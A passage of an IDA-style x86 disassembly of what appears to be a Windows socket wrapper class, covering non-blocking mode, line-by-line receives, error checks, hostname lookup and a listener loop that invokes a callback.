		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AA24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jz	short loc_41A9AF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AA24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A9BC


loc_41A9AF:				; CODE XREF: sub_41A8C0+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A91B


loc_41A9BC:				; CODE XREF: sub_41A8C0+39j
					; sub_41A8C0+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AA24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AB615Ah
		nop
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41A9F1
		mov	[ecx], eax


loc_41A9F1:				; CODE XREF: sub_41A8C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AA09
		test	eax, eax
		jz	short loc_41AA09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A8C0+134j
					; sub_41A8C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA24:				; CODE XREF: sub_41A8C0+13j
					; sub_41A8C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AAA0:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41AAF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AAD2
		mov	[ecx], eax


loc_41AAD2:				; CODE XREF: ___:0041AACEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAE0
		test	eax, eax
		jz	short loc_41AAE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: ___:0041AAD5j
					; ___:0041AAD9j
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: ___:0041AAA9j
					; ___:0041AAB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB20:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AB3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB3C:				; CODE XREF: ___:0041AB32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AB52


loc_41AB48:				; CODE XREF: ___:0041AB8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB52:				; CODE XREF: ___:0041AB46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ABB6
		mov	edi, ebp


loc_41AB6B:				; CODE XREF: ___:0041ABB4j
		cmp	edi, ebx
		jz	short loc_41ABB6
		cmp	[esp+18h], bl
		jz	short loc_41ABB6
		call	sub_40195B
		test	al, al
		jz	short loc_41ABB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AB48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ABA1
		cmp	al, 0Dh
		jz	short loc_41ABA1
		cmp	al, bl
		jnz	short loc_41ABA9


loc_41ABA1:				; CODE XREF: ___:0041AB97j
					; ___:0041AB9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ABA9:				; CODE XREF: ___:0041AB9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AB6B


loc_41ABB6:				; CODE XREF: ___:0041AB67j
					; ___:0041AB6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC00:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AC1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: ___:0041AC12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC32


loc_41AC28:				; CODE XREF: ___:0041AC6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC32:				; CODE XREF: ___:0041AC26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC9D
		mov	edi, ebp


loc_41AC4B:				; CODE XREF: ___:0041AC9Bj
		cmp	edi, ebx
		jz	short loc_41AC9D
		cmp	[esp+18h], bl
		jz	short loc_41AC9D
		call	sub_40195B
		test	al, al
		jz	short loc_41AC9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AC28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC7D
		cmp	al, bl
		jnz	short loc_41AC90


loc_41AC7D:				; CODE XREF: ___:0041AC77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AC8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC8A:				; CODE XREF: ___:0041AC82j
		mov	[edi], bl


loc_41AC8C:				; CODE XREF: ___:0041AC88j
		mov	[esp+18h], bl


loc_41AC90:				; CODE XREF: ___:0041AC7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC4B


loc_41AC9D:				; CODE XREF: ___:0041AC47j
					; ___:0041AC4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: ___:0041ACEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD03:				; CODE XREF: ___:0041ACFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB951Eh
		nop
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AD30	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41AD42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AD30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD53:				; CODE XREF: sub_41AD30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AD30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD80:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41ADBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ADB5
		cmp	[esi+80Bh], cl
		jz	short loc_41ADB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADB5:				; CODE XREF: ___:0041AD9Ej
					; ___:0041ADA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADBF:				; CODE XREF: ___:0041AD99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41ADF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: ___:0041ADE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AE6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE6D:				; CODE XREF: ___:0041AE61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEA9:				; CODE XREF: ___:0041AE9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AEF0:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	near ptr 77C47A90h
		nop
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AF60	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41AF90
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41AF90:				; CODE XREF: sub_41AF60+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41AF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41AFE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B010	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B028
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B028:				; CODE XREF: sub_41B010+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B040	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B040	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B072
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B072:				; CODE XREF: sub_41B060+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B0C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B097
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B097:				; CODE XREF: sub_41B060+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B0AC


loc_41B0A1:				; CODE XREF: sub_41B060+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B0A1


loc_41B0AC:				; CODE XREF: sub_41B060+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B0C5:				; CODE XREF: sub_41B060+20j
		pop	edi
		pop	esi
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B0F0:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43AD07
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B12F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B2DB
; ---------------------------------------------------------------------------


loc_41B12F:				; CODE XREF: ___:0041B118j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B16C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B16C:				; CODE XREF: ___:0041B156j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F70
		jnz	short loc_41B192
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B192:				; CODE XREF: ___:0041B17Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_436FC6
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B1D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B2C0
; ---------------------------------------------------------------------------


loc_41B1D6:				; CODE XREF: ___:0041B1BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_443DD4
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B1E4:				; CODE XREF: ___:0041B202j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B208
		cmp	cl, bl
		jz	short loc_41B204
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B208
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B1E4


loc_41B204:				; CODE XREF: ___:0041B1EEj
		xor	eax, eax
		jmp	short loc_41B20D
; ---------------------------------------------------------------------------


loc_41B208:				; CODE XREF: ___:0041B1EAj
					; ___:0041B1F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B20D:				; CODE XREF: ___:0041B206j
		cmp	eax, ebx
		jz	short loc_41B27B
		push	ebp


loc_41B212:				; CODE XREF: ___:0041B265j
					; ___:0041B269j
		nop
		call	near ptr 27D07EBh
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B226
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B26B


loc_41B226:				; CODE XREF: ___:0041B21Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B232
		mov	edi, ebp


loc_41B232:				; CODE XREF: ___:0041B22Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_443DD4


loc_41B23A:				; CODE XREF: ___:0041B258j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B25E
		cmp	cl, bl
		jz	short loc_41B25A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B25E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B23A


loc_41B25A:				; CODE XREF: ___:0041B244j
		xor	eax, eax
		jmp	short loc_41B263
; ---------------------------------------------------------------------------


loc_41B25E:				; CODE XREF: ___:0041B240j
					; ___:0041B24Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B263:				; CODE XREF: ___:0041B25Cj
		cmp	eax, ebx
		jnz	short loc_41B212
		mov	edi, ebp
		jmp	short loc_41B212
; ---------------------------------------------------------------------------


loc_41B26B:				; CODE XREF: ___:0041B224j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B288
; ---------------------------------------------------------------------------


loc_41B27B:				; CODE XREF: ___:0041B20Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B288:				; CODE XREF: ___:0041B279j
		push	offset byte_446F70
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B2A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B2A8:				; CODE XREF: ___:0041B298j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B2C0:				; CODE XREF: ___:0041B1D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B2CE:				; CODE XREF: ___:0041B167j
					; ___:0041B18Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B2DB:				; CODE XREF: ___:0041B12Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B390:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B3D0	proc near		; CODE XREF: sub_4013FCj ___:00402018j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	[esp+4+arg_0], 1
		jz	short loc_41B3E8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B3E8:				; CODE XREF: sub_41B3D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B400	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B5C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B5C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B513


loc_41B4E9:				; CODE XREF: sub_41B4B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF
		mov	al, byte_4E6E84
		test	al, al
		jz	short loc_41B513
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B4E9


loc_41B513:				; CODE XREF: sub_41B4B0+37j
					; sub_41B4B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF


loc_41B51E:				; CODE XREF: sub_41B4B0+F9j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41B5AF
		test	esi, esi
		jnz	short loc_41B54E
		push	80Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B54A
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B54C
; ---------------------------------------------------------------------------


loc_41B54A:				; CODE XREF: sub_41B4B0+8Ej
		xor	eax, eax


loc_41B54C:				; CODE XREF: sub_41B4B0+98j
		mov	esi, eax


loc_41B54E:				; CODE XREF: sub_41B4B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B567
		push	7D0h
		call	ebp
		jmp	short loc_41B5A4
; ---------------------------------------------------------------------------


loc_41B567:				; CODE XREF: sub_41B4B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B5A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B5A4:				; CODE XREF: sub_41B4B0+B5j
					; sub_41B4B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B51E


loc_41B5AF:				; CODE XREF: sub_41B4B0+3Ej
					; sub_41B4B0+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B5C0:				; CODE XREF: sub_41B4B0+Bj
					; sub_41B4B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B4B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B620:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B695
		mov	esi, ebp


loc_41B63F:				; CODE XREF: ___:0041B693j
		cmp	esi, ebx
		jz	short loc_41B695
		cmp	[esp+18h], bl
		jz	short loc_41B695
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		cmp	eax, ebx
		jz	short loc_41B6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B6A4
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_41B69D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B680
		cmp	al, 0Dh
		jz	short loc_41B680
		cmp	al, bl
		jnz	short loc_41B688


loc_41B680:				; CODE XREF: ___:0041B676j
					; ___:0041B67Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


